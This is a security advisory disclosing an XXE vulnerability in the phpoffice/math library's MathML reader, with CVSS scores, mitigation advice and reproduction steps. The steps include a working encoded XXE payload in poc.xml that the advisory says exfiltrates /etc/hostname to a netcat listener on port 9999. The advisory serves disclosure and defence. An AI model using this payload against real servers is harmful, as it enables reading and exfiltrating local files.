GHSA-42hm-pq2f-3r7m

Product: Math Version: 0.2.0 CWE-ID: CWE-611: Improper Restriction of XML External Entity Reference CVSS vector v.4.0: 8.7 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N) CVSS vector v.3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) Description: An attacker can create a special XML file, during which it processed, external entities are loaded, and it’s possible to read local server files.
Impact: Local server files reading Vulnerable component: The loadXML function with the unsafe LIBXML_DTDLOAD flag, the MathML class Exploitation conditions: The vulnerability applies only to reading a file in the MathML format. Mitigation: If there is no option to refuse using the LIBXML_DTDLOAD flag, it’s recommended to filter external entities through the implementation of the custom external entity loader function. Researcher: Aleksandr Zhurnakov (Positive Technologies)

Research

Zero-day vulnerability was discovered in the Math library in the detailed process of the XXE vulnerability research in PHP. Loading XML data, using the standard libxml extension and the LIBXML_DTDLOAD flag without additional filtration, leads to XXE.

Below are steps to reproduce the vulnerability.

1. Preparation:

• The payload was tested on the PHP versions >= 8.1.
• The composer manager is used to install the latest version of the Math library.
• PHP has to be configurated with Zlib support.
• The necessary requirements for the Math library must be installed.
• The netcat utility is used for demonstration exfiltration.

1. Make math directory and then moving into it.

mkdir math && cd math

1. Install the latest actual version of the library (Figure 1).

composer require phpoffice/math

Figure 1. Installing the library

1. Create poc.xml file (Listing 1):

Listing 1. Creating poc.xml

xml     
<?xml version="1.0" encoding="UTF-8"?>     <!DOCTYPE x SYSTEM 
"php://filter/convert.base64-
decode/zlib.inflate/resource=data:,7Ztdb9owFIbv%2bRVZJ9armNjOZ2k7QUaL%2bRYO2nqFUn
BFNQaMptP272cnNFuTsBbSskg1iATZzvGxn/ccX3A4fdfoecS7UsrK1A98hV5Rr9FVjlaz1UmlcnM7D9i
6MlkufrB1AK79O2bqKltMllMWt96KL6ADwci7sJ4Yu0vr9/tlwKbqan27CPzrOXvevFGrbRvOGIseaCa7
TAxok1x44xahXzQEcdKPKZPevap3RZw920I0VscWGLlU1efPsy0c5cbV1AoI7ZuOMCZW12nkcP9Q2%2bQ
ObBNmL6ajg8s6xJqmJTrq5NIArX6zVk8Zcwwt4fPuLvHnbeBSvpdIQ6g93MvUv3CHqKNrmtEW4EYmCr5g
DT5QzyNWE4x6xO1/aqQmgMhGYgaVDFUnScKltbFnaJoKHRuHK0L1pIkuaYselMe9cPUqRmm5C51u00kkh
y1S3aBougkl7e4d6RGaTYeSehdCjAG/O/p%2bYfKyQsoLmgdlmsFYQFDjh6GWJyGE0ZfMX08EZtwNTdAY
ud7nLcksnwppA2UnqpCzgyDo1QadAU3vLOQZ82EHMxAi0KVcq7rzas5xD6AQoeqkYkgk02abukkJ/z%2b
Nvkj%2bjUy16Ba5d/S8anhBLwt44EgGkoFkIBlIBpKBZCAZSAaSgWQgGUgGkoFkIBlIBpKBZCAZSAaSgW
QgGUgGxWOwW2nF7kt%2by7/Kb3ag2GUTUgBvXAAxiKxt4Is3sB4WniVrOvhwzB0CXerg5GN9esGRQv7Rg
QdMmMO9sIwtc/sIJUOCsY4ee7f7FIWu2Si4euKan8wg58nFsEIXxYGntgZqMog3Z2FrgPhgyzIOlsmijo
wqwb0jyMqMoGEbarqdOpP/iqFISMkSVFG1Z5p8f3OK%2bxAZ7gClpgUPg70rq0T2RIkcup/0newQ7NbcU
Xv/DPl4LL/N7hdfn2dp07pmd8v79YSdVVgwqcyWd8HC/8aOzkunf6r%2b2c8bpSxK/6uPmlf%2br/nSny
rHcduH99iqKiz7HwLxTLMgEM0QWUDjb3ji8NdHPslZmV%2bqR%2bfH56Xyxni1VGbV0m8=" 
[]><foo></foo>

1. Create math.php file (Listing 2):

Listing 2. Creating math.php

<?php
    require_once "./vendor/autoload.php";

    $reader = new \PhpOffice\Math\Reader\MathML();
    $reader->read(
        file_get_contents('poc.xml')
    );

1. The payload (see the step 4) is set to exfiltrate the /etc/hostname file through http://127.0.0.1:9999/, so the listening socket is launched at the 9999 port (Figure 2)

Figure 2. Launching the listening socket

1. Execute php-script via console:

php math.php 

6 characters from the /etc/hostname file will be exfiltrated to the 9999 port in base64 format (Figure 3).

Figure 3. Characters exfiltration

Decode the received data from base64 removing the last M character (the payload feature) (Figure 4).

Figure 4. Data decoding

1. By changing the payload, the remaining file can be received.

Credits

Aleksandr Zhurnakov (Positive Technologies)